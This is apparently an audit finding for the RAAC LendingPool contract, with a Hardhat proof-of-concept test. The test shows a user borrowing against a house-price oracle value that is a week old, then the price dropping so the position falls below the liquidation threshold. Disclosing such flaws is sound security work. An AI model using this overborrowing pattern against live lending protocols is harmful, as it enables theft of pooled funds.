The LendingPool contract has a critical vulnerability where it fails to validate oracle price staleness, allowing users to exploit outdated prices for overborrowing.
describe("Oracle Staleness Vulnerability", function () {
let owner, user1, user2;
let crvusd, raacNFT, raacHousePrices, lendingPool, rToken, debtToken;
beforeEach(async function () {
[owner, user1, user2] = await ethers.getSigners();
const CrvUSDToken = await ethers.getContractFactory("crvUSDToken");
crvusd = await CrvUSDToken.deploy(owner.address);
await crvusd.setMinter(owner.address);
const RAACHousePrices = await ethers.getContractFactory("RAACHousePrices");
raacHousePrices = await RAACHousePrices.deploy(owner.address);
const RAACNFT = await ethers.getContractFactory("RAACNFT");
raacNFT = await RAACNFT.deploy(crvusd.target, raacHousePrices.target, owner.address);
const RToken = await ethers.getContractFactory("RToken");
rToken = await RToken.deploy("RToken", "RToken", owner.address, crvusd.target);
const DebtToken = await ethers.getContractFactory("DebtToken");
debtToken = await DebtToken.deploy("DebtToken", "DT", owner.address);
const initialPrimeRate = ethers.parseUnits("0.1", 27);
const LendingPool = await ethers.getContractFactory("LendingPool");
lendingPool = await LendingPool.deploy(
crvusd.target,
rToken.target,
debtToken.target,
raacNFT.target,
raacHousePrices.target,
initialPrimeRate
);
await rToken.setReservePool(lendingPool.target);
await debtToken.setReservePool(lendingPool.target);
await rToken.transferOwnership(lendingPool.target);
await debtToken.transferOwnership(lendingPool.target);
await crvusd.mint(user1.address, ethers.parseEther("1000"));
await crvusd.mint(user2.address, ethers.parseEther("1000"));
await crvusd.connect(user1).approve(lendingPool.target, ethers.parseEther("1000"));
await crvusd.connect(user2).approve(lendingPool.target, ethers.parseEther("1000"));
await raacHousePrices.setOracle(owner.address);
await raacHousePrices.setHousePrice(1, ethers.parseEther("100"));
const tokenId = 1;
await crvusd.mint(user1.address, ethers.parseEther("100"));
await crvusd.connect(user1).approve(raacNFT.target, ethers.parseEther("100"));
await raacNFT.connect(user1).mint(tokenId, ethers.parseEther("100"));
await lendingPool.connect(user2).deposit(ethers.parseEther("1000"));
});
it("should exploit stale oracle prices to overborrow", async function () {
await raacNFT.connect(user1).approve(lendingPool.target, 1);
await lendingPool.connect(user1).depositNFT(1);
const initialBalance = await crvusd.balanceOf(user1.address);
const initialHealth = await lendingPool.calculateHealthFactor(user1.address);
await ethers.provider.send("evm_increaseTime", [7 * 24 * 60 * 60]);
await ethers.provider.send("evm_mine", []);
const overBorrowAmount = ethers.parseEther("70");
await lendingPool.connect(user1).borrow(overBorrowAmount);
const finalBalance = await crvusd.balanceOf(user1.address);
expect(finalBalance - initialBalance).to.equal(overBorrowAmount);
await raacHousePrices.setHousePrice(1, ethers.parseEther("50"));
const finalHealth = await lendingPool.calculateHealthFactor(user1.address);
expect(finalHealth).to.be.lt(await lendingPool.healthFactorLiquidationThreshold());
console.log({
initialHealth: ethers.formatEther(initialHealth),
finalHealth: ethers.formatEther(finalHealth),
overBorrowAmount: ethers.formatEther(overBorrowAmount),
realCollateralValue: "50.0",
staleCollateralValue: "100.0"
});
});
});